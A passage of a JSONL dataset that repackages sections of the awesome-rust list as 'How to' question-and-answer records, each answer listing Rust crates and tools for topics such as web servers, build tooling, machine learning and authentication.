[dominikwilkowski/cfonts](https://github.com/dominikwilkowski/cfonts) [[cfonts](https://crates.io/crates/cfonts)] - Sexy ANSI fonts for the console ![build badge](https://github.com/dominikwilkowski/cfonts/actions/workflows/testing.yml/badge.svg)\n* [grex](https://github.com/pemistahl/grex) - A command-line tool and library for generating regular expressions from user-provided test cases\n* [Lisprez/so_stupid_search](https://github.com/Lisprez/so_stupid_search) - A simple and fast string search tool for human beings\n* [loki_text](https://github.com/roquess/loki_text) [[loki_text](https://crates.io/crates/loki_text)] - String manipulation library with pattern searching, text transformation, and multiple string search algorithms (KMP, Boyer-Moore, Aho-Corasick, etc.)\n* [Melody](https://github.com/yoav-lavi/melody) - A language that compiles to regular expressions and aims to be more easily readable and maintainable [![build badge](https://github.com/yoav-lavi/melody/actions/workflows/rust.yml/badge.svg)](https://github.com/yoav-lavi/melody/actions/workflows/rust.yml) [![crates.io](https://img.shields.io/crates/v/melody_compiler?label=compiler)](https://crates.io/crates/melody_compiler)\n* [phiresky/ripgrep-all](https://github.com/phiresky/ripgrep-all) - ripgrep, but also search in PDFs, E-Books, Office documents, zip, tar.gz, etc.\n* [ripgrep](https://crates.io/crates/ripgrep) - combines the usability of The Silver Searcher with the raw speed of grep\n* [ruplacer](https://github.com/your-tools/ruplacer) - Find and replace text in source files [![Run tests](https://github.com/your-tools/ruplacer/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/your-tools/ruplacer/actions/workflows/test.yml)\n* [scooter](https://github.com/thomasschafer/scooter) - Interactive find and replace in the terminal.\n* [sd](https://crates.io/crates/sd) - Intuitive find & replace CLI\n* [sstadick/hck](https://github.com/sstadick/hck) - A faster and more featureful drop in replacement for `cut` [![build badge](https://github.com/sstadick/hck/workflows/Check/badge.svg?branch=master)](https://github.com/sstadick/hck)\n* [vishaltelangre/ff](https://github.com/vishaltelangre/ff) - Find files (ff) by name!\n* [whitfin/bytelines](https://github.com/whitfin/bytelines) [[bytelines](https://crates.io/crates/bytelines)] - Read input lines as byte slices for high efficiency.\n* [whitfin/runiq](https://github.com/whitfin/runiq) - an efficient way to filter duplicate lines from unsorted input.\n* [xsv](https://crates.io/crates/xsv) - A fast CSV command line tool (slicing, indexing, selecting, searching, sampling, etc.)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313047"}
{"id": "gh_5a3f001424dc", "question": "How to: Virtualization", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [firecracker-microvm/firecracker](https://github.com/firecracker-microvm/firecracker) - A lightweight virtual machine for container workload [Firecracker Microvm](https://firecracker-microvm.github.io/)\n* [kata-containers/kata-containers](https://github.com/kata-containers/kata-containers) - A implementation of lightweight Virtual Machines (VMs) that feel and perform like containers, but provide the workload isolation and security advantages of VMs.\n* [tailhook/vagga](https://github.com/tailhook/vagga) - A containerization tool without daemons\n* [youki-dev/youki](https://github.com/youki-dev/youki) - A container runtime [![build badge](https://github.com/youki-dev/youki/actions/workflows/basic.yml/badge.svg)](https://github.com/youki-dev/youki/actions)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313056"}
{"id": "gh_cd475effd31b", "question": "How to: Web Servers", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [cloudflare/pingora](https://github.com/cloudflare/pingora) - A library for building fast, reliable and evolvable network services.\n* [emanuele-em/proxelar](https://github.com/emanuele-em/proxelar) - A MITM Proxy 🦀! Toolkit for HTTP/1, HTTP/2, and WebSockets with SSL/TLS Capabilities [![Rust](https://github.com/emanuele-em/proxelar/actions/workflows/autofix.yml/badge.svg)](https://github.com/emanuele-em/proxelar/actions)\n* [g3proxy](https://github.com/bytedance/g3) - Forward proxy server, support Proxy Chaining, Protocol Inspection, MITM Interception, ICAP Adaptation, Transparent Proxy [![CodeCoverage](https://github.com/bytedance/g3/actions/workflows/codecov.yml/badge.svg)](https://github.com/bytedance/g3/actions)\n* [Mini RPS](https://github.com/marcodpt/minirps) - Mini reverse proxy server, HTTPS, CORS, static file hosting and template engine (minijinja) [crates.io](https://crates.io/crates/minirps)\n* [mu-arch/skyfolder](https://github.com/mu-arch/skyfolder) - 🪂 Beautiful HTTP/Bittorrent server without the hassle. Secure - GUI - Pretty - Fast\n* [mufeedvh/binserve](https://github.com/mufeedvh/binserve) - A blazingly fast static web server with routing, templating, and security in a single binary you can set up with zero code [![build badge](https://github.com/mufeedvh/binserve/actions/workflows/build.yml/badge.svg)](https://github.com/mufeedvh/binserve/actions)\n* [orhun/rustypaste](https://github.com/orhun/rustypaste) - A minimal file upload/pastebin service ![https://github.com/orhun/rustypaste/actions](https://img.shields.io/github/actions/workflow/status/orhun/rustypaste/ci.yml?branch=master&label=build)\n* [plabayo/rama](https://github.com/plabayo/rama) - A modular service framework to move and transform your network packets, used to build web clients, servers and — above all — proxies\n* [ronanyeah/rust-hasura](https://github.com/ronanyeah/rust-hasura) - A demonstration of how a GraphQL server can be used as a remote schema with [Hasura](https://hasura.io/) ![Rust](https://github.com/ronanyeah/rust-hasura/workflows/Rust/badge.svg?branch=master)\n* [static-web-server](https://github.com/static-web-server/static-web-server) - A blazing fast and asynchronous web server for static files-serving. ⚡ [![CI](https://github.com/static-web-server/static-web-server/actions/workflows/devel.yml/badge.svg)](https://github.com/static-web-server/static-web-server/actions/workflows/devel.yml?query=branch%3Amaster)\n* [svenstaro/miniserve](https://github.com/svenstaro/miniserve) - A small, self-contained cross-platform CLI tool that allows you to just grab the binary and serve some file(s) via HTTP [![build badge](https://github.com/svenstaro/miniserve/workflows/CI/badge.svg?branch=master)](https://github.com/svenstaro/miniserve/actions)\n* [thecoshman/http](https://github.com/thecoshman/http) - Host These Things Please - A basic http server for hosting a folder fast and simply\n* [TheWaWaR/simple-http-server](https://github.com/TheWaWaR/simple-http-server) - simple static http server\n* [vproxy/0x676e67](https://github.com/0x676e67/vproxy) - An fast asynchronous Rust HTTP/Socks5 Proxy", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313072"}
{"id": "gh_0a844070c5ea", "question": "How to: Workflow Automation", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [dali-benothmen/cronflow](https://github.com/dali-benothmen/cronflow) - Cronflow is a high-performance, developer-focused workflow automation library that lets you build and orchestrate complex, scalable automation workflows fully in code. [![release](https://github.com/dali-benothmen/cronflow/actions/workflows/release.yml/badge.svg)](https://github.com/dali-benothmen/cronflow/actions/workflows/release.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313077"}
{"id": "gh_d677d951330e", "question": "How to: Development tools", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [ATAC](https://github.com/Julien-cpsn/ATAC) - A feature-full TUI API client made in Rust. ATAC is free, open-source, offline and account-less.\n* [bacon](https://github.com/Canop/bacon) - background rust code checker, similar to cargo-watch\n* [biome](https://github.com/biomejs/biome) - A toolchain for web projects, aimed to provide functionalities to maintain them. Biome offers formatter and linter, usable via CLI and LSP\n* [clippy](https://crates.io/crates/clippy) - Rust lints\n* [clog-tool/clog-cli](https://github.com/clog-tool/clog-cli) - generates a changelog from git metadata ([conventional changelog](https://blog.thoughtram.io/announcements/tools/2014/09/18/announcing-clog-a-conventional-changelog-generator-for-the-rest-of-us.html))\n* [cloudflare/foundations](https://github.com/cloudflare/foundations) - Foundations is a modular Rust library, designed to help scale programs for distributed, production-grade systems.\n* [comtrya](https://github.com/comtrya/comtrya) - A configuration management tool for localhost / dotfiles [![build badge](https://github.com/comtrya/comtrya/actions/workflows/main.yaml/badge.svg)](https://github.com/comtrya/comtrya/actions)\n* [create-rust-app](https://github.com/Wulf/create-rust-app) - Set up a modern rust+react web app by running one command. [![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/create-rust-app)\n* [dan-t/rusty-tags](https://github.com/dan-t/rusty-tags) - create ctags/etags for a cargo project and all of its dependencies\n* [datanymizer/datanymizer](https://github.com/datanymizer/datanymizer) - Powerful database anonymizer with flexible rules [![build badge](https://github.com/datanymizer/datanymizer/workflows/CI/badge.svg?branch=main)](https://github.com/datanymizer/datanymizer/actions?query=workflow%3ACI+branch%3Amain)\n* [delta](https://crates.io/crates/git-delta) - A syntax-highlighter for git and diff output[![build badge](https://github.com/dandavison/delta/actions/workflows/ci.yml/badge.svg)](https://github.com/dandavison/delta//actions)\n* [dotenv-linter](https://github.com/dotenv-linter/dotenv-linter) - Linter for `.env` files [![build badge](https://github.com/dotenv-linter/dotenv-linter/actions/workflows/ci.yml/badge.svg)](https://github.com/dotenv-linter/dotenv-linter/actions?query=workflow%3ACI+branch%3Amaster)\n* [envio](https://github.com/humblepenguinn/envio) - A Modern And Secure CLI Tool For Managing Environment Variables [![build badge](https://github.com/humblepenguinn/envio/actions/workflows/CICD.yml/badge.svg?branch=main)](https://github.com/humblepenguinn/envio/actions/workflows/CICD.yml)\n* [Flox](https://github.com/flox/flox) - Flox is a virtual environment and package manager all in one.\n* [Forge](https://github.com/antinomyhq/forge) - A terminal-based AI pair programmer for code generation and editing. [![Website](https://img.shields.io/badge/website-forgecode.dev-blue)](https://forgecode.dev/)\n* [frolic](https://github.com/frolicflow/Frolic) - An API layer to build customer facing dashboards 10x faster\n* [fw](https://github.com/brocode/fw) - workspace productivity booster [![Rust](https://github.com/brocode/fw/actions/workflows/rust.yml/badge.svg)](https://github.com/brocode/fw/actions/workflows/rust.yml)\n* [fzf-make](https://github.com/kyu08/fzf-make) [[fzf-make](https://crates.io/crates/fzf-make)] - A command line tool that executes make target using fuzzy finder with preview window. [![crates.io](https://img.shields.io/crates/v/fzf-make?style=flatflat-square)](https://crates.io/crates/fzf-make)\n* [geiger](https://github.com/geiger-rs/cargo-geiger) - A program that list statistics related to usage of unsafe code in a crate and all its dependencies [![Build Status](https://dev.azure.com/cargo-geiger/cargo-geiger/_apis/build/status/geiger-rs.cargo-geiger?branchName=master)](https://dev.azure.com/cargo-geiger/cargo-geiger/_build/latest?definitionId=1&branchName=master)\n* [git-cliff](https://github.com/orhun/git-cliff) - A highly customizable Changelog Generator that follows Conventional Commit specifications ![https://github.com/orhun/git-cliff/actions](https://img.shields.io/github/actions/workflow/status/orhun/git-cliff/ci.yml?branch=main&label=build)\n* [git-journal](https://github.com/saschagrunert/git-journal/) - The Git Commit Message and Changelog Generation Framework\n* [hot-lib-reloader](https://github.com/rksm/hot-lib-reloader-rs) - Hot reload Rust code [![build badge](https://github.com/rksm/hot-lib-reloader-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/rksm/hot-lib-reloader-rs/actions/workflows/ci.yml)\n* [intelli-shell](https://github.com/lasantosr/intelli-shell) - Bookmark commands with placeholders and search or autocomplete at any time [![crate](https://img.shields.io/crates/v/intelli-shell.svg)](https://crates.io/crates/intelli-shell) [![build badge](https://github.com/lasantosr/intelli-shell/actions/workflows/release.yml/badge.svg)](https://github.com/lasantosr/intelli-she", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313089"}
{"id": "gh_3b7c6d8b8e7a", "question": "How to: Build system", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [Cargo](https://crates.io/) - the Rust package manager\n  * [cargo-all-features](https://github.com/frewsxcv/cargo-all-features) - A configurable subcommand to simplify testing, building and much more for all combinations of features [![CI](https://github.com/frewsxcv/cargo-all-features/actions/workflows/ci.yml/badge.svg)](https://github.com/frewsxcv/cargo-all-features/actions/workflows/ci.yml)\n  * [cargo-benchcmp](https://crates.io/crates/cargo-benchcmp) - A utility to compare micro-benchmarks\n  * [cargo-bitbake](https://crates.io/crates/cargo-bitbake) - A cargo extension that can generate BitBake recipes utilizing the classes from meta-rust\n  * [cargo-cache](https://crates.io/crates/cargo-cache) - inspect/manage/clean your cargo cache (`~/.cargo/`/`${CARGO_HOME}`), print sizes etc [![Build Status](https://github.com/matthiaskrgr/cargo-cache/workflows/ci/badge.svg?branch=master)](https://github.com/matthiaskrgr/cargo-cache/actions)\n  * [cargo-check](https://crates.io/crates/cargo-check) - A wrapper around `cargo rustc -- -Zno-trans` which can be helpful for running a faster compile if you only need correctness checks\n  * [cargo-commander](https://crates.io/crates/cargo-commander) - A subcommand for `cargo` to run CLI commands similar to how the scripts section in `package.json` works [![Build and test](https://github.com/simonhyll/cargo-commander/actions/workflows/build.yml/badge.svg)](https://github.com/simonhyll/cargo-commander/actions/workflows/build.yml)\n  * [cargo-count](https://crates.io/crates/cargo-count) - lists source code counts and details about cargo projects, including unsafe statistics\n  * [cargo-deb](https://crates.io/crates/cargo-deb) - Generates binary Debian packages\n  * [cargo-depgraph](https://crates.io/crates/cargo-depgraph) - Creates dependency graphs for cargo projects using cargo metadata and graphviz\n  * [cargo-do](https://crates.io/crates/cargo-do) - run multiple cargo commands in a row\n  * [cargo-ebuild](https://crates.io/crates/cargo-ebuild) - cargo extension that can generate ebuilds using the in-tree eclasses\n  * [cargo-edit](https://crates.io/crates/cargo-edit) - allows you to add and list dependencies by reading/writing to your Cargo.toml file from the command line\n  * [cargo-generate](https://github.com/cargo-generate/cargo-generate) - A generator of a rust project by leveraging a pre-existing git repository as a template.\n  * [cargo-info](https://crates.io/crates/cargo-info) - queries crates.io for crates details from command line\n  * [cargo-license](https://crates.io/crates/cargo-license) - A cargo subcommand to quickly view the licenses of all dependencies.\n  * [cargo-limit](https://crates.io/crates/cargo-limit) - Cargo with less noise: warnings are skipped until errors are fixed, Neovim integration, etc. [![build badge](https://github.com/cargo-limit/cargo-limit/actions/workflows/ci.yml/badge.svg)](https://github.com/cargo-limit/cargo-limit/actions)\n  * [cargo-make](https://crates.io/crates/cargo-make) - Task runner and build tool. [![build badge](https://github.com/sagiegurari/cargo-make/workflows/CI/badge.svg?branch=master)](https://github.com/sagiegurari/cargo-make/actions)\n  * [cargo-modules](https://crates.io/crates/cargo-modules) - A cargo plugin for showing a tree-like overview of a crate's modules.\n  * [cargo-multi](https://crates.io/crates/cargo-multi) - runs specified cargo command on multiple crates\n  * [cargo-outdated](https://crates.io/crates/cargo-outdated) - displays when newer versions of Rust dependencies are available, or out of date\n  * [cargo-rdme](https://github.com/orium/cargo-rdme) [[cargo-rdme](https://crates.io/crates/cargo-rdme)] - Cargo subcommand to create your README from your crate’s documentation. [![build badge](https://github.com/orium/cargo-rdme/workflows/CI/badge.svg)](https://github.com/orium/cargo-rdme/actions?query=workflow%3ACI)\n  * [cargo-release](https://crates.io/crates/cargo-release) - tool for releasing git-managed cargo project, build, tag, publish, doc and push [![Rust](https://github.com/crate-ci/cargo-release/actions/workflows/ci.yml/badge.svg)](https://github.com/crate-ci/cargo-release/actions/workflows/rust.yml)\n  * [cargo-script](https://crates.io/crates/cargo-script) - lets people quickly and easily run Rust \"scripts\" which can make use of Cargo's package ecosystem\n  * [cargo-udeps](https://github.com/est31/cargo-udeps) [[cargo-udeps](https://crates.io/crates/cargo-udeps)] - find unused dependencies\n  * [cargo-update](https://crates.io/crates/cargo-update) - cargo subcommand for checking and applying updates to installed executables\n  * [cargo-watch](https://crates.io/crates/cargo-watch) - utility for cargo to compile projects when sources change\n  * [dtolnay/cargo-expand](https://github.com/dtolnay/cargo-expand) - Expand macros in your source code\n* CMake\n  * [Devolutions/CMakeRust](https://github.com/Devolutions/CMakeRust) - useful for integrating a Rust library into a CMake project\n  * [SiegeLord/RustCMake](https:", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313109"}
{"id": "gh_c862cecaa1b5", "question": "How to: Deployment", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Docker\n  * [emk/rust-musl-builder](https://github.com/emk/rust-musl-builder) - Docker images for compiling static Rust binaries using musl-libc and musl-gcc, with static versions of useful C libraries\n  * [kpcyrd/mini-docker-rust](https://github.com/kpcyrd/mini-docker-rust) - An example project for very small rust docker images\n  * [liuchong/docker-rustup](https://github.com/liuchong/docker-rustup) - A multiple version (with musl tools) Rust Docker image\n  * [LukeMathWalker/cargo-chef](https://github.com/LukeMathWalker/cargo-chef) - A tool and pre-built images for caching compiling remote dependencies between Docker builds.\n  * [rust-cross/rust-musl-cross](https://github.com/rust-cross/rust-musl-cross) - Docker images for compiling static Rust binaries using musl-cross [![Build](https://github.com/rust-cross/rust-musl-cross/workflows/Build/badge.svg)](https://github.com/rust-cross/rust-musl-cross/actions?query=workflow%3ABuild)\n  * [rust-lang-nursery/docker-rust](https://github.com/rust-lang/docker-rust) - the official Rust Docker image\n  * [Stavrospanakakis/is_ready](https://github.com/Stavrospanakakis/is_ready) - Wait for multiple services to become available ![Build](https://github.com/Stavrospanakakis/is_ready/actions/workflows/release.yml/badge.svg)\n* Heroku\n  * [emk/heroku-buildpack-rust](https://github.com/emk/heroku-buildpack-rust) - A buildpack for Rust applications on Heroku\n* [release-plz](https://github.com/release-plz/release-plz) [[release-plz](https://crates.io/crates/release-plz)] - Release crates from CI, with changelog generation and semver check. [![build badge](https://github.com/release-plz/release-plz/workflows/CI/badge.svg)](https://github.com/release-plz/release-plz/actions)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313117"}
{"id": "gh_0dda67b7e1a2", "question": "How to: Formatters", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [dprint](https://github.com/dprint/dprint) - A pluggable and configurable code formatting platform [![build badge](https://github.com/dprint/dprint/workflows/CI/badge.svg)](https://github.com/dprint/dprint/actions?query=workflow%3ACI)\n* [Prettier Rust](https://github.com/jinxdash/prettier-plugin-rust) - An opinionated Rust code formatter that autofixes bad syntax ([Prettier](https://prettier.io/) community plugin)\n* [rustfmt](https://github.com/rust-lang/rustfmt) - Rust code formatter maintained by the Rust team and included in cargo", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313127"}
{"id": "gh_07b6f934ed7b", "question": "How to: Static analysis", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[assert](https://crates.io/keywords/assert), [static](https://crates.io/keywords/static)]\n\n* [cargo-coupling](https://github.com/nwiizo/cargo-coupling) - A Rust coupling analysis tool using Vlad Khononov's \"Balancing Coupling in Software Design\" framework\n* [MIRAI](https://github.com/endorlabs/mirai) - an abstract interpreter operating on Rust's mid-level intermediate representation (MIR) [![Continuous Integration](https://github.com/endorlabs/mirai/actions/workflows/rust.yml/badge.svg)](https://github.com/endorlabs/mirai/actions/workflows/rust.yml)\n* [RAPx](https://github.com/Artisan-Lab/RAPx) - A platform that helps Rust programmers develop and use advanced static analysis tools beyond those provided by the rustc compiler.\n* [static_assertions](https://crates.io/crates/static_assertions) - Compile-time assertions to ensure that invariants are met\n* [verus-lang/verus](https://github.com/verus-lang/verus) - Verified Rust for low-level systems code", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313136"}
{"id": "gh_bab8e88ecca2", "question": "How to: Transpiling", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [aleph-lang/aleph_ollama](https://github.com/aleph-lang/aleph_ollama) [[aleph_ollama](https://crates.io/crates/aleph_ollama)] - AI-powered source code translation tool using local Ollama API.\n* [BayesWitnesses/m2cgen](https://github.com/BayesWitnesses/m2cgen) - A CLI tool to transpile trained classic machine learning models into a native Rust code with zero dependencies. [![GitHub Actions Status](https://github.com/BayesWitnesses/m2cgen/workflows/GitHub%20Actions/badge.svg?branch=master)](https://github.com/BayesWitnesses/m2cgen/actions)\n* [immunant/c2rust](https://github.com/immunant/c2rust) - C to Rust translator and cross checker built atop Clang/LLVM.\n* [jameysharp/corrode](https://github.com/jameysharp/corrode) - A C to Rust translator written in Haskell.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313145"}
{"id": "gh_0af20d71cc42", "question": "How to: Artificial Intelligence", "question_body": "About rust-unofficial/awesome-rust", "answer": "#### Genetic algorithms\n\n* [innoave/genevo](https://github.com/innoave/genevo) - Execute genetic algorithm (GA) simulations in a customizable and extensible way.\n* [m-decoster/RsGenetic](https://github.com/m-decoster/RsGenetic) - Genetic Algorithm library. In maintenance mode.\n* [Martin1887/oxigen](https://github.com/Martin1887/oxigen) - Fast, parallel, extensible and adaptable genetic algorithm library. A example using this library solves the N Queens problem for N = 255 in only few seconds and using less than 1 MB of RAM.\n* [pkalivas/radiate](https://github.com/pkalivas/radiate) - A customizable parallel genetic programming engine capable of evolving solutions for supervised, unsupervised, and reinforcement learning problems. Comes with complete and customizable implementation of NEAT and Evtree.![Crates.io](https://img.shields.io/crates/v/radiate)\n* [willi-kappler/darwin-rs](https://github.com/willi-kappler/darwin-rs) - Evolutionary algorithms\n\n#### Machine learning\n\nSee [[Machine learning](https://crates.io/keywords/machine-learning)]\n\nSee also [About Rust’s Machine Learning Community](https://medium.com/@autumn_eng/about-rust-s-machine-learning-community-4cda5ec8a790#.hvkp56j3f) and [Are we learning yet?](https://www.arewelearningyet.com).\n\n* [autumnai/leaf](https://github.com/autumnai/leaf) - Open Machine Intelligence framework.. Abandoned project. The most updated fork is [juice](https://github.com/fff-rs/juice).\n* [ave-sergeev/tictonix](https://github.com/Ave-Sergeev/Tictonix) [[tictonix](https://crates.io/crates/tictonix)] - A library that provides the ability to convert tokens into embeddings, as well as to encode their positions.\n* [blackportal-ai/delta](https://github.com/blackportal-ai/delta) - Δ An Open-Source Machine Learning Framework in Rust. ![crates.io](https://img.shields.io/crates/v/deltaml.svg) ![build](https://img.shields.io/github/actions/workflow/status/blackportal-ai/delta/core.yml?branch=master)\n* [blackportal-ai/nebula](https://github.com/blackportal-ai/nebula) - A Package Manager for Machine Learning Datasets and Models. ![build](https://img.shields.io/github/actions/workflow/status/blackportal-ai/nebula/core.yml?branch=master)\n* [burn](https://github.com/tracel-ai/burn) - A Flexible and Comprehensive Deep Learning Framework.\n* [chelsea0x3b/dfdx](https://github.com/chelsea0x3b/dfdx) - CUDA accelerated machine learning framework that leverages many of Rust's unique features. ![Crates.io](https://img.shields.io/crates/v/dfdx)\n* [guillaume-be/rust-bert](https://github.com/guillaume-be/rust-bert) [[rust_bert](https://crates.io/crates/rust_bert)] - Ready-to-use NLP pipelines and language models\n* [huggingface/candle](https://github.com/huggingface/candle) [[candle-core](https://crates.io/crates/candle-core)] - a minimalist ML framework with a focus on easiness of use and on performance (including GPU support)\n* [huggingface/tokenizers](https://github.com/huggingface/tokenizers) - Hugging Face's tokenizers for modern NLP pipelines (original implementation) with bindings for Python. [![Build Status](https://github.com/huggingface/tokenizers/workflows/Rust/badge.svg?branch=master)](https://github.com/huggingface/tokenizers/actions)\n* [LaurentMazare/tch-rs](https://github.com/LaurentMazare/tch-rs) - Bindings for PyTorch.\n* [maciejkula/rustlearn](https://github.com/maciejkula/rustlearn) - Machine learning library. [![Circle CI](https://circleci.com/gh/maciejkula/rustlearn.svg?style=svg)](https://app.circleci.com/pipelines/github/maciejkula/rustlearn)\n* [Mottl/lightgb3-rs](https://github.com/Mottl/lightgbm3-rs) - Bindings for LightGBM [![Crates.io](https://img.shields.io/crates/v/lightgbm3.svg)](https://crates.io/crates/lightgbm3) [![build](https://github.com/Mottl/lightgbm3-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/Mottl/lightgbm3-rs/actions)\n* [perpetual-ml/perpetual](https://github.com/perpetual-ml/perpetual) [[perpetual](https://crates.io/crates/perpetual)] - A self-generalizing gradient boosting machine which doesn't need hyperparameter optimization.\n* [ramsyana/RustTensor](https://github.com/ramsyana/RustTensor) - A learning-focused, high-performance tensor computation library built from scratch in Rust with automatic differentiation and CPU/CUDA backends.\n* [rust-ml/linfa](https://github.com/rust-ml/linfa) - Machine learning framework.\n* [sipemu/anofox-regression](https://github.com/sipemu/anofox-regression) [[anofox-regression](https://crates.io/crates/anofox-regression)] - Statistical regression models (OLS, Elastic Net, GLM, Quantile & Isotonic) with R-like inference (p-values, confidence & prediction intervals) and Wasm support.\n* [smartcorelib/smartcore](https://github.com/smartcorelib/smartcore) - Machine Learning Library [![Build Status](https://img.shields.io/circleci/build/github/smartcorelib/smartcore)]\n* [tensorflow/rust](https://github.com/tensorflow/rust) - Bindings for TensorFlow.\n\n#### OpenAI\n\n* [64bit/async-openai](https://github.com/64bit/async-open", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313161"}
{"id": "gh_46b80045d101", "question": "How to: Asynchronous", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [async-std](https://async.rs/) [[async-std](https://crates.io/crates/async-std)] - Async version of the Rust standard library [![CI](https://github.com/async-rs/async-std/actions/workflows/ci.yml/badge.svg?branch=master)](https://github.com/async-rs/async-std/actions/workflows/ci.yml)\n* [dagrs](https://github.com/dagrs-dev/dagrs) - A high-performance asynchronous task programming framework, which follows the concept of Flow based Programming.\n* [dpc/mioco](https://github.com/dpc/mioco) - Scalable, coroutine-based, asynchronous IO handling library\n* [igumnoff/gabriel2](https://github.com/igumnoff/gabriel2) [[gabriel2](https://crates.io/crates/gabriel2)] - Gabriel2: An actor-model library based on Tokio\n* [mio](https://github.com/tokio-rs/mio) - MIO is a lightweight IO library, with a focus on adding as little overhead as possible over the OS abstractions\n* [rust-lang/futures-rs](https://github.com/rust-lang/futures-rs) - Zero-cost futures\n* [t3hmrman/async-dropper](https://github.com/t3hmrman/async-dropper) [[async-dropper](https://crates.io/crates/async-dropper)] - Implementation of `AsyncDrop`\n* [TeaEntityLab/fpRust](https://github.com/TeaEntityLab/fpRust) - Monad/MonadIO, Handler, Coroutine/doNotation, Functional Programming features for Rust\n* [tokio-rs/tokio](https://github.com/tokio-rs/tokio) - A runtime for writing reliable, asynchronous, and slim applications with the Rust programming language.\n* [tqwewe/kameo](https://github.com/tqwewe/kameo) - Fault-tolerant Async Actors Built on Tokio\n* [Xudong-Huang/may](https://github.com/Xudong-Huang/may) - Stackful coroutine library\n* [zonyitoo/coio-rs](https://github.com/zonyitoo/coio-rs) - A coroutine I/O library with a working-stealing scheduler", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313169"}
{"id": "gh_5d8d6496e84f", "question": "How to: Authentication", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [constantoine/totp-rs](https://github.com/constantoine/totp-rs) [[totp-rs](https://crates.io/crates/totp-rs)] - 2fa library to generate and verify TOTP-based tokens ![Build Status](https://github.com/constantoine/totp-rs/workflows/Rust/badge.svg)\n* [Keats/jsonwebtoken](https://github.com/Keats/jsonwebtoken) - [JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token) library\n* [oauth2](https://github.com/ramosbugs/oauth2-rs) - Extensible, strongly-typed OAuth2 client library\n* [oxide-auth](https://github.com/197g/oxide-auth) - A OAuth2 server library, for use in combination with actix or other frontends, featuring a set of configurable and pluggable backends [![Build Status](https://api.cirrus-ci.com/github/197g/oxide-auth.svg?branch=master)](https://cirrus-ci.com/github/HeroicKatora/oxide-auth)\n* [sgrust01/jwtvault](https://github.com/sgrust01/jwtvault) - Async library to manage and orchestrate JWT workflow\n* [yup-oauth2](https://github.com/dermesser/yup-oauth2) - An oauth2 client implementation providing the Device, Installed and Service Account flows", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313182"}
